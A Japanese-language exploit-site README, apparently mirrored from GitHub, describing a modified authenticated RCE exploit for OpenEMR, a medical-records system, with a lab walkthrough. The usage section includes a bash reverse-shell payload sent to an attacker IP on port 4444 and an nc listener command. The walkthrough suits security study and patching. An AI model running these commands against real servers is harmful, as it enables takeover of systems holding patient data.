Sploitus

Exploit for CVE-2018-17179-OpenEMR

kitploit · 2026-09-05

Exploit Code

MARKDOWN113 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERQUESTOR-INFOSEC-CVE-2018-17179-OPENEMR
# CVE-2018-17179-OpenEMR

> ⚠️ **免責事項**  
>  このリポジトリは**教育および研究目的のみ** を厳密に意図しています。  
>  ここに提供される情報とコードは**管理された環境** (プライベートラボマシンなど)でのみ使用できます。

**自分が所有していない、または明示的なテスト許可がないシステムに対してこのコードを無断で使用することは違法かつ非倫理的です。**  
著者は誤用や損害について一切の責任を負いません。

* * *

## 🔍 脆弱性について

**CVE-2018-17179** は、広く使われているオープンソースの電子カルテおよび診療管理ソフトウェア **OpenEMR** に影響を与えます。  
`rest_routes.php` エンドポイントの認証メカニズムに欠陥があり、認証済みユーザーがサーバー上で任意のコマンドを実行できます。

これにより、Web サーバーユーザーの権限で **リモートコード実行 (RCE)** が可能になります。

  * **脆弱性タイプ:** 認証済みリモートコード実行
  * **影響を受けるコンポーネント:** `interface/main/main_screen.php`(`rest_routes.php` 経由)
  * **認証が必要:** ✅ はい
  * **深刻度:** 重大
  * **CVSS スコア:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)



* * *

## 🧾 参考文献

  * Exploit-DB エントリ – 45161
  * OpenEMR GitHub リポジトリ
  * CVE Details – CVE-2018-17179
  * NVD CVE レポート



* * *

## 🛠 エクスプロイト概要

このリポジトリは、Exploit-DB の公開エクスプロイトを**修正したバージョン** を提供します。

  * **エクスプロイトタイトル:** OpenEMR 5.0.1 – Authenticated RCE
  * **ExploitDB ID:** 45161
  * **言語:** Python 2
  * **認証が必要:** はい



このカスタマイズされたエクスプロイトでは:

  * コマンドペイロードを直接指定できます(例: リバースシェル)。
  * 柔軟性のためにクリーンな CLI 実行が可能です。
  * 元のエクスプロイトから、セッションクッキー生成やコマンドインジェクションロジックなどの機密フィールドが保持されています。



* * *

## 💥 デモンストレーション

### 🔐 ログインページ

ローカルテスト用の OpenEMR ログインパネルを対象にしました:

![ログインページ](https://assets.kitploit.com/production/public/readmes/35393/a20fab55f7d9ef34b1994ab7033c5a2948b154762f173c489131e5dd44eb255b.png)

* * *

## 📂 エクスプロイトの使用方法

使用方法: python2 exploit.py <target_url> -u  -p  -c 

例: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'

root@kitploit:~
    
    
    - Python 2 がインストールされていることを確認してください。
    - ユーザーは脆弱な `rest_routes.php` エンドポイントにアクセスできる必要があります。
    
    

エクスプロイトの実行

修正したエクスプロイトスクリプトを bash リバースシェルペイロードで実行しました:

root@kitploit:~
    
    
    python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'
    

![エクスプロイトの出力](https://assets.kitploit.com/production/public/readmes/35393/6b0035da3614d241ab975702bd1b4eef089c34fe0f0cd1e5da06936a9eea1d00.png)

### ステップ 3 – リバースシェルの取得

ポート 4444 の Netcat リスナーがリバースシェルを正常に受信しました:

root@kitploit:~
    
    
    nc -nvlp 4444
    

![エクスプロイトの出力](https://assets.kitploit.com/production/public/readmes/35393/7c0824da3394d4d5421f387a3efc29f1d30160047d2d8bf50416fdd99eceef34.png)

## 📖 Medium ブログ

詳細なウォークスルーと理論については、私の Medium 記事をご覧ください:  
👉 Medium でブログを読む